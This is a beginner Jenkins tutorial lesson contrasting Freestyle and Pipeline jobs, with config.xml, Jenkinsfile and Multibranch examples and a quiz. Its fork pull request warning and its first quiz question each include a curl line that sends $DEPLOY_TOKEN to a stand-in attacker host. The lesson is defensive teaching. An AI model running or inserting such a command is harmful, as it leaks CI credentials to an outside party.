CoursesJenkins foundations, done rightFreestyle vs Pipeline jobs

Freestyle vs Pipeline jobs

Why pipeline-as-code wins.

Beginner10 min · lesson 4 of 16

You inherit a Jenkins job called build-app. Fourteen build steps, clicked together in a web form over two years by people who have since left, and last Tuesday it quietly started shipping a broken artifact. You open the job's configuration page to find out what changed. There is no history. No diff. No author, no comment. Only whatever the boxes happen to say today. That black box is the defining limitation of a Freestyle project, and it is the reason this lesson exists. Jenkins gives you two very different ways to describe a job, and which one you pick decides whether your build is something you can audit and rebuild, or a pile of clicks nobody can explain.

A Freestyle project is a job you assemble by clicking. You add build steps in the web interface (an 'Execute shell' box here, an 'Invoke Maven' box there), tick post-build actions like archive artifacts or publish test results, and fill in fields. When you save, Jenkins writes everything you clicked into a single XML file (Extensible Markup Language, a plain-text format of nested tags) named config.xml, kept under JENKINS_HOME, the controller's data directory that holds every job, credential and setting on the machine. That file is the job. Think of a whiteboard in a shared office: real, readable, useful, and anybody walking past can rub out a line. No record of who wrote what, no way to hold today's board against last week's, no chance to review a change before it takes effect.

The whole job, in one file on disk

terminal — a Freestyle job is one config.xml
# jenkins-cli.jar is the CLI client bundled with your controller (fetch it once from /jnlpJars/)
$ java -jar jenkins-cli.jar -s http://localhost:8080/ -auth admin:$TOKEN get-job build-app
<?xml version='1.1' encoding='UTF-8'?>
<project>
<scm class="hudson.plugins.git.GitSCM" plugin="git">
<userRemoteConfigs>
<hudson.plugins.git.UserRemoteConfig>
<url>https://github.com/acme/web.git</url>
</hudson.plugins.git.UserRemoteConfig>
</userRemoteConfigs>
<branches>
<hudson.plugins.git.BranchSpec><name>*/main</name></hudson.plugins.git.BranchSpec>
</branches>
</scm>
<builders>
<hudson.tasks.Shell>
<command>mvn -B -DskipTests package</command>
</hudson.tasks.Shell>
</builders>
<publishers>
<hudson.tasks.junit.JUnitResultArchiver plugin="junit">
<testResults>target/surefire-reports/*.xml</testResults>
</hudson.tasks.junit.JUnitResultArchiver>
<hudson.tasks.ArtifactArchiver>
<artifacts>target/*.jar</artifacts>
</hudson.tasks.ArtifactArchiver>
</publishers>
</project>

That dump comes from the Jenkins CLI (command-line interface, a small program that talks to the controller over the same web address you log in to), using get-job. Read the output and the job stops being mysterious. Each <hudson.tasks.Shell> is one shell build step. The publishers are the post-build actions you ticked. The <scm> block is the Git checkout, where SCM means source control management, the system that stores your code. Now look at what is absent. No version. No author. No way to line this up against last week's copy and see the difference. Anyone holding the Configure permission can rewrite it in the browser and leave no fingerprints, and that costs you twice: you cannot debug what you cannot compare, and you cannot review a change you never see.

A Pipeline job turns the arrangement inside out. The job definition becomes a script, a file called Jenkinsfile, written in a Groovy-based DSL (domain-specific language: a small vocabulary built for describing pipelines rather than a general programming language). Instead of sitting in a config.xml on the controller, that file is committed to your repository, right beside the code it builds. The job is now an ordinary file in version control. Every edit carries an author, a timestamp and a diff, and it can sit in a pull request until a human reads it. Lose the controller entirely and the definition still exists, because it lives in the repo.

The same job, written as a file

Jenkinsfile (commit to acme/web, replaces build-app)
pipeline {
agent { label 'linux' } // run on a labelled agent, never the controller
options { timestamps() }
stages {
stage('Build') {
steps { sh 'mvn -B -DskipTests package' } // was <hudson.tasks.Shell>
}
stage('Test') {
steps { sh 'mvn -B test' }
}
}
post {
always { junit 'target/surefire-reports/*.xml' } // was JUnitResultArchiver
success { archiveArtifacts artifacts: 'target/*.jar', fingerprint: true } // was ArtifactArchiver
}
}

Migrating a Freestyle job is mostly translation, one element at a time, like copying a recipe off a fridge note into a proper cookbook. Each <hudson.tasks.Shell> becomes a sh step. The JUnitResultArchiver publisher becomes a junit step. The ArtifactArchiver becomes archiveArtifacts. The whole <scm> block disappears entirely, because a declarative Pipeline loaded from source control checks out its own repository for you. Do the translation by hand. A 'Convert To Pipeline' plugin exists and it does work, but it emits a literal, hard-to-read scripted node {} block that nobody wants to maintain. A clean declarative rewrite is clearer, and it is the version you will actually keep up to date.

build console log — acme-web » feature/login
Branch indexing
Connecting to https://github.com/acme/web.git
Obtained Jenkinsfile from 7c1e9ab
[Pipeline] Start of Pipeline
[Pipeline] node
Running on linux-agent-1 in /home/jenkins/workspace/acme-web_feature-login
[Pipeline] checkout
> git checkout -f 7c1e9ab...
[Pipeline] stage
[Pipeline] { (Build)
[Pipeline] sh
+ mvn -B -DskipTests package
[INFO] BUILD SUCCESS
[Pipeline] }
[Pipeline] stage
[Pipeline] { (Test)
[Pipeline] sh
+ mvn -B test
[INFO] Tests run: 42, Failures: 0, Errors: 0, Skipped: 1
[Pipeline] }
[Pipeline] junit
Recording test results
[Pipeline] archiveArtifacts
Archiving artifacts
[Pipeline] End of Pipeline
Finished: SUCCESS

Run it and the console log narrates every move Jenkins makes, in order: fetch the Jenkinsfile from the commit, take an agent, check out the repository, then work through each stage's sh. One line carries the entire argument of this lesson. 'Obtained Jenkinsfile from 7c1e9ab' means the pipeline that ran is pinned to one exact commit, not to whatever somebody last typed into a form at six on a Friday.

Multibranch Pipelines: one job for every branch

Once the Jenkinsfile lives in the repo, you can use the setup most teams settle on: a Multibranch Pipeline. You point one job at a repository and Jenkins walks through it, a sweep called branch indexing. Every branch and pull request that contains a Jenkinsfile gets its own sub-job, created for you. Push a new branch and a new pipeline appears with zero clicks. Merge or delete that branch and its pipeline is cleared away on the next sweep. It works like a shop assistant restocking shelves from a list, rather than you placing every tin by hand. You can click the job together in the interface, but it is reproducible from a config.xml, so you can script it, back it up and rebuild it.

terminal — create the Multibranch Pipeline from config
$ java -jar jenkins-cli.jar -s http://localhost:8080/ -auth admin:$TOKEN \
create-job acme-web <<'EOF'
<?xml version='1.1' encoding='UTF-8'?>
<org.jenkinsci.plugins.workflow.multibranch.WorkflowMultiBranchProject plugin="workflow-multibranch">
<sources class="jenkins.branch.MultiBranchProject$BranchSourceList">
<data>
<jenkins.branch.BranchSource>
<source class="jenkins.plugins.git.GitSCMSource" plugin="git">
<remote>https://github.com/acme/web.git</remote>
<traits>
<jenkins.plugins.git.traits.BranchDiscoveryTrait/>
</traits>
</source>
</jenkins.branch.BranchSource>
</data>
</sources>
<factory class="org.jenkinsci.plugins.workflow.multibranch.WorkflowBranchProjectFactory">
<scriptPath>Jenkinsfile</scriptPath>
</factory>
<orphanedItemStrategy class="com.cloudbees.hudson.plugins.folder.computed.DefaultOrphanedItemStrategy">
<pruneDeadBranches>true</pruneDeadBranches>
<numToKeep>10</numToKeep>
</orphanedItemStrategy>
</org.jenkinsci.plugins.workflow.multibranch.WorkflowMultiBranchProject>
EOF
$ echo $?
0 # created; the first branch scan launches automatically
Scan Repository Log — acme-web
[Fri Jul 11 09:14:02 UTC 2025] Starting branch indexing...
> git rev-parse --resolve-git-dir /var/jenkins_home/caches/git-3f2a/.git
Setting origin to https://github.com/acme/web.git
> git config remote.origin.url https://github.com/acme/web.git
Fetching & pruning origin...
> git fetch --tags --force --progress --prune -- origin +refs/heads/*:refs/remotes/origin/*
Checking branches...
Checking branch main
'Jenkinsfile' found
Met criteria
No changes detected in main (still at 3f9a1c2e)
Checking branch feature/login
'Jenkinsfile' found
Met criteria
Scheduled build for branch: feature/login
Checking branch docs/readme-typo
'Jenkinsfile' not found
Does not meet criteria
3 branches were processed
[Fri Jul 11 09:14:05 UTC 2025] Finished branch indexing. Indexing took 3.2 sec
Finished: SUCCESS

The scan log is the receipt for that sweep, and it reads in plain English. main has a Jenkinsfile and met criteria, but nothing changed since last time, so no build was scheduled. feature/login is new work, so a build was scheduled. docs/readme-typo has no Jenkinsfile, so it does not meet criteria and Jenkins walks straight past it. That last case is the rule governing all of this: no Jenkinsfile, no pipeline. Delete a branch and its sub-job vanishes on the next scan, which is why what Jenkins runs never drifts away from what is actually in the repository.

A Multibranch Pipeline will happily run a stranger's Jenkinsfile
Branch indexing discovers pull requests as well as branches, including pull requests opened from forks by people you have never met. One dropdown decides whose Jenkinsfile Jenkins is willing to execute. On the safe default, 'From users with Admin or Write permission', an untrusted author's changes are not trusted, so Jenkins reads the pipeline definition from your base branch and their Jenkinsfile never runs. Loosen that dropdown to 'Everyone' and each fork pull request is built from its own branch's Jenkinsfile instead. Now an outside contributor can open a pull request whose Jenkinsfile runs sh 'curl attacker.example -d "$DEPLOY_TOKEN"' on your agent: arbitrary code executing with whatever credentials that job can reach. Keep fork-PR trust at 'From users with Admin or Write permission' (or 'Nobody'), never bind production credentials to untrusted branches, and keep builds on disposable agents so a poisoned pull request is stuck on a worker you were going to throw away anyway. Building every branch is convenient. It is also your attack surface.

Is Freestyle ever the right call? Yes, sometimes. For a genuine throwaway, a one-off admin chore nobody needs to reproduce, the web form is faster and perfectly fine. But the moment a job matters, because it ships something, because other people depend on it, or because losing it would ruin your week, pipeline-as-code wins on every measure that counts: the definition is versioned, it gets reviewed like the code it builds, and you can rebuild it from the repository after the controller is gone. The Jenkinsfile above uses declarative syntax, the structured, validated format the next lesson takes apart block by block.

Which Jenkins job type fits
Defining a Jenkins job
how big is the job, and does anyone need to reproduce it?
throwaway / one-off
Freestyle project
clicks saved into a config.xml on the controller: quick to start, unversioned, unreviewable
one repo, reproducible
Pipeline job
a Jenkinsfile in source control: versioned, reviewed in a pull request, rebuildable from the repo
many branches & PRs
Multibranch Pipeline
branch indexing creates a sub-job for every branch or pull request that has a Jenkinsfile
Where the definition lives decides everything. A config.xml on the controller is a black box. A Jenkinsfile in the repo is versioned, reviewable and recoverable. Save Freestyle for throwaways.
Quick check
01You move build-app to a Multibranch Pipeline, switch on 'Discover pull requests from forks', and set trust to 'Everyone'. A contributor you have never heard of opens a pull request whose Jenkinsfile adds sh 'curl -d "$DEPLOY_TOKEN" evil.example'. What actually keeps that token from walking out the door?
Incorrect — That belief is the whole risk. Branch indexing builds the pull request branch's own Jenkinsfile the moment it discovers it, long before any merge or review.
Correct — Building only trusted authors' Jenkinsfiles, plus keeping secrets away from fork pull requests, boxes in whatever a stranger's script tries to run.
Incorrect — No. You throw away versioning and review, and a Freestyle job pointed at that branch would run its shell steps all the same.
Incorrect — No. The sandbox limits which Groovy methods a pipeline may call. It has no say over what a shell command does once sh hands it to the operating system.
02The lesson names one fundamental limitation of defining a job as a Freestyle project instead of a Jenkinsfile kept in source control. What is it?
Incorrect — No. A Freestyle job runs 'Execute shell' steps, which land in config.xml as shell build steps.
Correct — The config.xml changes silently on the controller, which costs you debuggability and review at the same time.
Incorrect — No. Freestyle jobs can target agents. That is not the line the lesson draws.
Incorrect — That is backwards. The config.xml lives on the controller, while a Jenkinsfile lives in the repo and outlives the controller.
03Your Multibranch Pipeline scans a repo with three branches: main (has a Jenkinsfile, unchanged since the last scan), feature/login (has a Jenkinsfile, with new commits), and docs/readme-typo (no Jenkinsfile). What happens once the scan finishes?
Incorrect — No. A branch with no Jenkinsfile does not meet criteria and never gets a pipeline at all.
Incorrect — No. Being the default branch schedules nothing on its own, and main had no new commits.
Incorrect — No. Branch indexing builds any branch carrying a Jenkinsfile. Pull requests are extra, not the whole story.
Correct — The scan schedules a build only for the changed branch that met criteria, and 'no Jenkinsfile, no pipeline' covers the rest.

Try this

Run java -jar jenkins-cli.jar -s http://localhost:8080/ -auth admin:$TOKEN get-job build-app on a scratch host or disposable cluster and read the output against what this lesson described. Then change one input so it fails, and re-run: the error you get is the one you will meet in production.

Takeaway

The trap worth remembering here: a Multibranch Pipeline will happily run a stranger's Jenkinsfile. Check that on your own systems before you need to, because it is cheaper to find on a quiet afternoon than during an incident.

Related